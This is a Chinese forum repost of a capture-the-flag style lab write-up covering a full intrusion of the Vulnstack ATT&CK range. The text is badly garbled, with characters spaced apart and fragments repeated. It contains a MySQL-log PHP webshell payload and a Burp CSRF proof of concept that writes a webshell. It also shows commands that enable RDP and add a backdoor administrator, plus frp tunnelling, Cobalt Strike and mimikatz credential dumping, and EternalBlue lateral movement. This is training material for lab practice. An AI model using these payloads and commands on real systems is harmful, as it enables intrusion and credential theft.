搜索

[15034] 2020-02-19_VlunstackATT&CK实战系列0×1

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-02-19_VlunstackATT&CK实战系列0×1 V l u n s t a c k   A T T & C K 实 战 系 列 0 × 1 H a c k h y   F r e e B u f   2 0 2 0 - 0 2 - 1 9 O v e r   t h e   m o u n t a i n s , m o u n t a i n s . 我 翻 山 越 岭 ， 才 发 现 无 人 等 候 。 我 翻 山 越 岭 ， 才 发 现 无 人 等 候 。 这 个 靶 场 是 红 日 安 全 团 队 的 一 个 靶 场 项 目 这 个 靶 场 是 红 日 安 全 团 队 的 一 个 靶 场 项 目 ~ 非 常 好 ， 方 便 了 我 这 类 懒 得 搭 建 域 （ 不 会 ） 的 人 。 非 常 好 ， 方 便 了 我 这 类 懒 得 搭 建 域 （ 不 会 ） 的 人 。 如 有 谬 误 恳 请 指 出 ~ 环 境 下 载 环 境 下 载 h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 2 / 网 络 环 境 网 络 环 境 很 明 显 ， 要 想 访 问 W i n d o w s   2 0 0 8 和 W i n 2 k 3 服 务 器 必 须 要 拿 下 W i n d o w s   7 服 务 器 ， 用 它 做 跳 板 进 内 网 进 行 横 向 渗 透 。 攻 击 过 程 攻 击 过 程 0 x 1 . 获 取 获 取 W E B S H E L L 目 标 U R L ： h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 1 2 9 / y x c m s / 得 知 是 y x c m s ， 直 接 百 度 一 把 搜 ， 找 到 如 下 文 章 h t t p s : / / b b s . i c h u n q i u . c o m / t h r e a d - 4 5 9 2 6 - 1 - 1 . h t m l 这 里 都 是 需 要 后 台 才 可 以 g e t s h e l l 的 ， 自 己 审 计 不 太 现 实 ， 故 打 开 默 认 后 台 试 试 弱 口 令 h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 1 2 9 / y x c m s / i n d e x . p h p ? r = a d m i n / i n d e x / l o g i n 将 登 录 的 数 据 包 放 入 R e p e a t e r 重 放 多 次 发 现 验 证 码 没 有 自 动 刷 新 ， 故 可 以 爆 破 ， 然 后 填 了 密 码 字 典 后 放 着 等 他 跑 ， 看 看 其 他 的 点 是 否 有 漏 洞 ~ 这 里 爆 破 出 了 p h p M y A d m i n ， 然 后 打 开 试 试 弱 口 令 r o o t / r o o t 直 接 就 进 去 了 p h p M y A d m i n   G e t S h e l l 然 后 使 用 蚁 剑 连 接 W i n d o w s   7 有 双 网 卡 ， 也 就 是 内 外 网 I P 外 网 I P ： 1 9 2 . 1 6 8 . 3 1 . 1 2 9 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 3 且 此 服 务 器 存 在 y x c m s W i n d o w s   2 0 0 8 只 有 内 网 网 卡 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 3 8 W i n 2 k 3 只 有 内 网 网 卡 内 网 I P ： 1 9 2 . 1 6 8 . 5 2 . 1 4 1 s e t   g l o b a l   g e n e r a l _ l o g = o n ;   #   开 启 日 志 s e t   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / p h p s t u d y / w w w / f u c k . p h p ' ;   #   设 置 日 志 位 置 为 p h p 代 码 ， 然 后 保 存 的 日 志 内 容 写 上 s h e l l 就 可 以 了 s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ " f u c k " ] ) ;   ? > '   #   这 段 查 询 会 带 入 到 日 志 中 ， 然 后 就 成 功 变 成 W e b S h e l l 了
然 后 y x c m s 后 台 这 边 b u r p 也 跑 出 密 码 来 了 账 户 密 码 为 ： a d m i n / 1 2 3 4 5 6 ， 进 入 后 台 ， 直 接 上 高 速 打 P O C 打 开 如 上 h t m l 页 面 就 会 在 生 成 一 个 W e b S h e l l 在 h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 1 2 9 / y x c m s / p r o t e c t e d / a p p s / d e f a u l t / v i e w / d e f a u l t / f u c k . p h p 页 面 ， 密 码 为 f u c k 0 x 2 . 内 网 渗 透 内 网 渗 透 首 先 查 看 是 什 么 权 限 ， 是 否 有 域 < h t m l >     < ! - -   C S R F   P o C   -   g e n e r a t e d   b y   B u r p   S u i t e   P r o f e s s i o n a l   - - >     < b o d y >     < s c r i p t > h i s t o r y . p u s h S t a t e ( ' ' ,   ' ' ,   ' / ' ) < / s c r i p t >         < f o r m   a c t i o n = " h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 1 2 9 / y x c m s / i n d e x . p h p ? r = a d m i n / s e t / t p a d d & M n a m e = d e f a u l t "   m e t h o d = " P O S T " >             < i n p u t   t y p e = " h i d d e n "   n a m e = " f i l e n a m e "   v a l u e = " f u c k "   / >             < i n p u t   t y p e = " h i d d e n "   n a m e = " c o d e "   v a l u e = " & l t ; & # 6 3 ; p h p & # 3 2 ; e v a l & # 4 0 ; & # 3 6 ; & # 9 5 ; P O S T & # 9 1 ; & q u o t ; f u c k & q u o t ; & # 9 3 ; & # 4 1 ; & # 5 9 ; & # 6 3 ; & g t ; "   / >             < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t   r e q u e s t "   / >         < / f o r m >     < / b o d y > < / h t m l >
管 理 员 权 限 ， 且 有 域 ~ 然 后 一 般 拿 下 w i n d o w 的 话 我 都 会 选 择 去 连 接 它 的 远 程 桌 面 （ P O R T : 3 3 8 9 ） 输 入 n e t s t a t   - a n o   |   f i n d   “ 3 3 8 9 ” 没 有 回 显 ， 证 明 未 开 启 远 程 桌 面 服 务 ， 用 如 下 命 令 开 启 成 功 开 启 。 然 后 开 启 了 3 3 8 9 后 可 以 选 择 读 管 理 员 的 明 文 密 码 或 添 加 用 户 ， 前 者 可 能 因 为 读 不 出 明 文 密 码 （ 0 3 前 的 操 作 系 统 使 用 L M   H A S H 加 密 明 文 ， 可 逆 ， 越 后 的 系 统 都 使 用 新 的 加 密 N T L M   H A S H ） ， 所 以 这 里 选 择 后 者 添 加 密 码 然 后 使 用 账 号 密 码 t e s t / @ ! F u c k S E C ! @ 登 录 远 程 桌 面 哦 吼 ！ f u c k 一 开 始 猜 测 可 能 是 防 火 墙 禁 止 3 3 8 9 端 口 进 出 网 ， 然 后 经 过 端 口 转 发 后 才 发 现 并 不 是 ， 如 图 R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f C : p h p S t u d y W W W >   n e t   u s e r   t e s t   @ ! F u c k S E C ! @   / a d d   #   添 加 账 户 密 码 命 令 成 功 完 成 。 C : p h p S t u d y W W W >   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   / a d d   #   给 t e s t 账 户 添 加 为 管 理 员 权 限 命 令 成 功 完 成 。 C : p h p S t u d y W W W >   n e t   u s e r   t e s t   #   查 询 是 否 成 功 添 加 t e s t 用 户 用 户 名                                   t e s t 全 名 注 释 用 户 的 注 释 国 家 / 地 区 代 码                     0 0 0   ( 系 统 默 认 值 ) 帐 户 启 用                               Y e s 帐 户 到 期                               从 不 上 次 设 置 密 码                       2 0 2 0 / 2 / 1   1 0 : 2 7 : 5 2 密 码 到 期                               2 0 2 0 / 3 / 1 4   1 0 : 2 7 : 5 2 密 码 可 更 改                           2 0 2 0 / 2 / 2   1 0 : 2 7 : 5 2 需 要 密 码                               Y e s 用 户 可 以 更 改 密 码               Y e s 允 许 的 工 作 站                       A l l 登 录 脚 本 用 户 配 置 文 件 主 目 录 上 次 登 录                               从 不 可 允 许 的 登 录 小 时 数           A l l 本 地 组 成 员                           * A d m i n i s t r a t o r s               * U s e r s 全 局 组 成 员                           * N o n e 命 令 成 功 完 成 。
防 火 墙 开 启 了 阻 止 所 有 与 未 在 允 许 程 序 列 表 中 的 程 序 的 连 接 阻 止 所 有 与 未 在 允 许 程 序 列 表 中 的 程 序 的 连 接 ， 换 句 话 说 ， 设 置 了 白 名 单 ， 只 能 本 地 连 接 ， 那 么 我 们 使 用 n g r o k 的 f r p 创 建 一 个 T C P 隧 道 1 、 首 先 在 h t t p : / / n g r o k . c c / u s e r . h t m l 注 册 用 户 ， 然 后 开 通 F R P 服 务 器 2 、 下 载 f r p 客 户 端 工 具 将 工 具 上 传 至 目 标 服 务 器 ， 然 后 执 行 如 下 命 令 3 、 然 后 连 接 x x x x . x x x x . x x x : 1 0 0 6 2 s u n n y . e x e   - - c l i e n t i d = 隧 道 i d
内 网 已 进 入 ， 然 后 我 习 惯 性 直 接 上 去 关 防 火 墙 ， 然 后 用 c s 上 线 这 个 线 上 的 很 心 塞 。 。 生 成 了 好 多 s h e l l 然 后 过 了 好 一 会 才 过 来 。 0 x 3 . 信 息 收 集 信 息 收 集 1 、 使 用 i p c o n f i g   / a l l 看 网 络 环 境 （ 查 询 是 否 有 域 ） 2 、 n e t   c o n f i g   W o r k s t a t i o n 查 询 当 前 计 算 机 名 、 计 算 机 全 名 、 用 户 名 、 工 作 站 、 软 件 版 本 、 工 作 站 域 、 工 作 站 域   D N S   名 称 、 登 录 域 这 样 也 能 看
3 、 查 看 进 程 t a s k l i s t   / v   有 些 进 程 可 能 是 域 用 户 启 的 有 些 进 程 可 能 是 域 用 户 启 的 > 通 过 管 理 员 权 限 通 过 管 理 员 权 限   凭 证 窃 取 凭 证 窃 取   >   窃 取 域 用 户 的 凭 证 窃 取 域 用 户 的 凭 证 4 、 显 示 正 由 指 定 的 计 算 机 共 享 的 域 、 计 算 机 或 资 源 的 列 表 。 如 果 在 没 有 参 数 的 情 况 下 使 用 ， 则 n e t   v i e w 显 示 当 前 域 中 的 计 算 机 列 表 。 这 里 O W A 主 机 是 主 域 控 制 器 ， I P 为 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ， 然 后 还 有 一 个 主 机 名 为 R O O T - T V I 8 6 2 U B E H ， I P 为 1 9 2 . 1 6 8 . 5 2 . 1 4 1 （ 环 境 3 ） 而 本 机 不 是 域 机 器 所 以 跑 不 出 域 相 关 信 息 ， 着 重 于 横 向 渗 透 。 目 前 知 道 的 数 据 就 行 了 ， 然 后 在 本 地 抓 一 下 管 理 员 密 码 （ C s 跑 内 存 H A S H 、 注 册 表 H A S H ） 0 x 4 . 密 码 获 取 密 码 获 取 1 、 直 接 用 c s 的 h a s h d u m p 读 内 存 密 码 。 2 、 用 m i m i k a t z 读 注 册 表 密 码 我 们 可 以 直 接 在 C r e d e n t i a l s 模 块 下 看 的 清 清 楚 楚 这 里 直 接 抓 取 了 A d m i n i s t r a t o r 的 明 文 密 码 h o n g r i s e c @ 2 0 1 9 0 x 5 . 横 向 渗 透 横 向 渗 透 横 向 渗 透 一 般 就 是 获 取 内 网 其 他 主 机 的 权 限 我 比 较 喜 欢 用 m s f 来 进 行 横 向 渗 透 ， 所 以 这 里 要 使 用 到 m s f ， 但 是 W i n 2 k 3 和 W i n d o w   2 0 0 8 都 是 内 网 主 机 ， 我 们 攻 击 机 的 m s f 无 法 访 问 ， 所 以 我 们 要 在 W i n d o w   s 7 上 开 启 一 个 隧 道 ， 将 m s f 带 入 内 网 。 开 通 隧 道 带 开 通 隧 道 带 m s f 进 内 网 进 内 网 1 、 在 c s 上 开 通 s o c k s 通 道 b e a c o n >   l o g o n p a s s w o r d s 读 出 的 信 息 . . .
2 、 在 攻 击 机 上 设 置 p r o x y c h a i n s 小 白 肯 定 会 问 为 什 么 这 里 设 置 的 代 理 是 1 2 7 . 0 . 0 . 1   9 9 9 9 ， 因 为 我 c s 的 服 务 端 是 k a l i ， 然 后 在 c s 执 行 s o c k s   9 9 9 9 相 当 于 在 我 k a l i 上 开 通 一 个 9 9 9 9 的 s o c k s 代 理 ， 然 后 我 k a l i 直 接 连 本 地 的 9 9 9 9 端 口 就 可 以 了 3 、 使 用 代 理 打 开 m s f 这 样 m s f 就 成 功 进 内 网 啦 然 后 这 里 尝 试 去 跑 一 下 M S 0 8 - 0 6 7 （ 失 败 ） 插 播 ！ 这 里 用 c s 的 s o c k s 代 理 不 稳 定 ， 我 上 传 了 e w 开 了 1 0 8 0 监 听 然 后 也 是 使 用 p r o x y c h a i n s 代 理 端 口 探 测 端 口 探 测 因 为 目 标 机 安 装 了 n m a p 所 以 直 接 跑 了 s o c k s   9 9 9 9 v i   / e t c / p r o x y c h a i n s . c o n f s o c k s 4                 1 2 7 . 0 . 0 . 1   9 9 9 9 p r o x y c h a i n s   m s f c o n s o l e
开 启 了 4 4 5 端 口 ， 然 后 这 里 试 了 下 m s 0 8 - 0 6 7 ， 失 败 告 终 。 拿 下 拿 下 x p 然 后 尝 试 了 a d m i n / s m b / m s 1 7 _ 0 1 0 _ c o m m a n d 这 个 模 块 发 现 是 可 以 的 然 后 直 接 执 行 添 加 用 户 命 令 查 看 是 否 添 加 成 功 n e t   u s e r   t e s t   @ ! F u c k S E C ! @   / a d d n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   / a d d
然 后 开 启 他 的 3 3 8 9 然 后 使 用 p r o x y c h a i n s 连 接 他 的 3 3 8 9 然 后 这 里 我 想 让 2 0 0 3 系 统 上 上 线 C s ， 操 作 过 程 看 我 这 篇 文 章 h t t p s : / / f u c k g o . g i t h u b . i o / 2 0 2 0 / 0 2 / 0 3 / % E 7 % 9 B % A E % E 6 % A 0 % 8 7 % E 6 % 9 C % B A % E 5 % 9 9 % A 8 % E 4 % B 8 % 8 D % E 5 % 8 7 % B A % E 7 % B D % 9 1 % E 4 % B 8 % 8 A % E 7 % B A % B F % E 5 % 8 A % 9 E % E 6 % B 3 % 9 5 / 对 对 x p 的 信 息 收 集 的 信 息 收 集 常 规 的 信 息 收 集 然 后 查 看 当 前 登 录 域 2 0 0 3 上 开 启 3 3 8 9 的 命 令 行 语 句 R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f p r o x y c h a i n s   r d e s k t o p   1 9 2 . 1 6 8 . 5 2 . 1 4 1 i p c o n f i g   / a l l 查 看 网 络 环 境 有 P r i m a r y   D n s   S u f f i x   说 明 是 域 内   为 域 机 器 n e t   c o n f i g   w o r k s t a t i o n
然 后 依 次 类 推 查 询 ， 发 现 1 9 2 . 1 6 8 . 5 2 . 1 3 8 是 主 域 机 器 干 他 ！ 对 域 机 器 进 行 渗 透 对 域 机 器 进 行 渗 透 端 口 探 测 端 口 探 测 使 用 使 用 4 4 5 添 加 用 户 添 加 用 户 4 4 5 开 放 ， 使 用 a d m i n / s m b / m s 1 7 _ 0 1 0 _ c o m m a n d 成 功 ， 只 能 一 条 一 条 命 令 执 行 … 然 后 执 行 添 加 用 户 的 语 句 P O R T             S T A T E   S E R V I C E 5 3 / t c p         o p e n     d o m a i n 8 0 / t c p         o p e n     h t t p 8 8 / t c p         o p e n     k e r b e r o s - s e c 1 3 5 / t c p       o p e n     m s r p c 1 3 9 / t c p       o p e n     n e t b i o s - s s n 3 8 9 / t c p       o p e n     l d a p 4 4 5 / t c p       o p e n     m i c r o s o f t - d s 4 6 4 / t c p       o p e n     k p a s s w d 5 5 9 3 / t c p       o p e n     h t t p - r p c - e p m a p 6 3 6 / t c p       o p e n     l d a p s s l 3 2 6 8 / t c p     o p e n     g l o b a l c a t L D A P 3 2 6 9 / t c p     o p e n     g l o b a l c a t L D A P s s l 4 9 1 5 4 / t c p   o p e n     u n k n o w n 4 9 1 5 5 / t c p   o p e n     u n k n o w n 4 9 1 5 7 / t c p   o p e n     u n k n o w n 4 9 1 5 8 / t c p   o p e n     u n k n o w n 4 9 1 6 1 / t c p   o p e n     u n k n o w n 4 9 1 6 7 / t c p   o p e n     u n k n o w n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理